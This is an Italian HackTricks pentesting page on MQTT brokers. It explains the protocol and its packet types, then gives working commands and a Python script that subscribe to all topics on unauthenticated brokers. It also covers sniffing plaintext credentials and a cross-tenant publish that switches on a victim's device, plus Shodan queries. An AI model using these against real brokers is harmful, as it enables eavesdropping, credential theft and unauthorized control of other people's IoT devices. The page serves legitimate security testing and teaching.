1883 - Pentesting MQTT (Mosquitto)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

MQ Telemetry Transport (MQTT) è noto come un protocollo di messaggistica publish/subscribe che si distingue per la sua estrema semplicità e leggerezza. Questo protocollo è specificamente pensato per ambienti in cui i dispositivi hanno capacità limitate e operano su reti caratterizzate da bassa larghezza di banda, alta latenza o connessioni non affidabili. Gli obiettivi principali di MQTT includono la minimizzazione dell’uso della banda di rete e la riduzione del consumo delle risorse del dispositivo. Inoltre, mira a mantenere comunicazioni affidabili e a fornire un certo livello di garanzia nella consegna. Questi obiettivi rendono MQTT particolarmente adatto al crescente ambito della comunicazione machine-to-machine (M2M) e dell’Internet of Things (IoT), dove è essenziale connettere in modo efficiente un gran numero di dispositivi. Inoltre, MQTT è molto utile per le applicazioni mobile, dove è cruciale risparmiare banda e batteria.

Porta predefinita: 1883

PORT     STATE SERVICE                 REASON
1883/tcp open  mosquitto version 1.4.8 syn-ack

Ispezione del traffico

Quando un pacchetto CONNECT viene ricevuto dai broker MQTT, viene inviato indietro un pacchetto CONNACK. Questo pacchetto contiene un codice di ritorno che è cruciale per capire lo stato della connessione. Un codice di ritorno 0x00 significa che le credenziali sono state accettate, indicando una connessione avvenuta con successo. D’altra parte, un codice di ritorno 0x05 indica che le credenziali non sono valide, impedendo quindi la connessione.

Ad esempio, se il broker rifiuta la connessione a causa di credenziali non valide, lo scenario sarebbe più o meno così:

{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}

Brute-Force MQTT

Pentesting MQTT

Authentication is totally optional e anche se viene eseguita, encryption is not used by default (credentials are sent in clear text). È comunque possibile eseguire MITM attacks per intercettare le password.

To connect to a MQTT service you can use: https://github.com/bapowell/python-mqtt-client-shell and subscribe yourself to all the topics doing:

> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"

Potresti anche usare https://github.com/akamai-threat-research/mqtt-pwn

Puoi anche usare:

apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.

Oppure puoi eseguire questo codice per provare a connetterti a un servizio MQTT senza autenticazione, iscriverti a tutti i topic e ascoltarli:

#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')

def on_message(client, userdata, message):
print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()

if __name__ == "__main__":
main()

Il modello Publish/Subscribe

Il modello publish/subscribe è composto da:

  • Publisher: pubblica un messaggio su uno (o più) topic nel broker.
  • Subscriber: si iscrive a uno (o più) topic nel broker e riceve tutti i messaggi inviati dal publisher.
  • Broker: instrada tutti i messaggi dai publisher ai subscriber.
  • Topic: consiste di uno o più livelli separati da una slash (ad es., /smartshouse/livingroom/temperature).

Packet Format

Ogni pacchetto MQTT contiene un fixed header (Figure 02).Figure 02: Fixed Header

https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png

Packet Types

  • CONNECT (1): Iniziato dal client per richiedere una connessione al server.
  • CONNACK (2): Acknowledgment del server di una connessione riuscita.
  • PUBLISH (3): Usato per inviare un messaggio dal client al server o viceversa.
  • PUBACK (4): Acknowledgment di un pacchetto PUBLISH.
  • PUBREC (5): Parte di un protocollo di consegna dei messaggi che assicura che il messaggio sia ricevuto.
  • PUBREL (6): Ulteriore garanzia nella consegna del messaggio, indica il rilascio del messaggio.
  • PUBCOMP (7): Parte finale del protocollo di consegna del messaggio, indica il completamento.
  • SUBSCRIBE (8): Richiesta di un client per ascoltare i messaggi di un topic.
  • SUBACK (9): Acknowledgment del server di una richiesta SUBSCRIBE.
  • UNSUBSCRIBE (10): Richiesta di un client per smettere di ricevere messaggi da un topic.
  • UNSUBACK (11): Risposta del server a una richiesta UNSUBSCRIBE.
  • PINGREQ (12): Messaggio di heartbeat inviato dal client.
  • PINGRESP (13): Risposta del server al messaggio di heartbeat.
  • DISCONNECT (14): Iniziato dal client per terminare la connessione.
  • Due valori, 0 e 15, sono riservati e il loro uso è proibito.

IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass

Molte piattaforme IoT consumer espongono broker MQTT usati da due ruoli distinti:

  • Gateway/hub che bridgeano protocolli radio (ad es., BLE/LoRa/Zigbee) verso il cloud.
  • Mobile app o backend web che controllano i dispositivi tramite topic “app”.

Debolezze comuni che puoi sfruttare durante un pentest:

  • MQTT in plaintext su porte non standard (ad es., TCP/8001) invece di MQTTS. Qualsiasi osservatore on-path può leggere credenziali e frame di controllo. Usa Wireshark per individuare traffico in cleartext CONNECT/CONNACK e SUBSCRIBE/PUBLISH su porte non usuali.
  • ACLs per topic deboli o mancanti per tenant. Se i topic sono namespacizzati solo per deviceId (ad es., “/tenantless//tx”), qualsiasi utente autenticato potrebbe PUBLISH su dispositivi di altri tenant.
  • Perdita di dati sensibili tramite topic di manutenzione/admin (ad es., credenziali Wi‑Fi trasmesse in cleartext dopo modifiche di configurazione).

Esempi (sostituisci i placeholder con valori reali):

Subscribe a topic potenzialmente sensibili con prefissi di topic e device ID noti:

# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v

Controllo cross-tenant quando gli ACLs sono deboli (pubblicare sul topic del dispositivo di un altro tenant):

mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'

Shodan

  • port:1883 MQTT
  • Il plaintext MQTT su porte non standard è comune nell’IoT. Considera la ricerca di broker su porte alternative e conferma con la rilevazione del protocollo.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks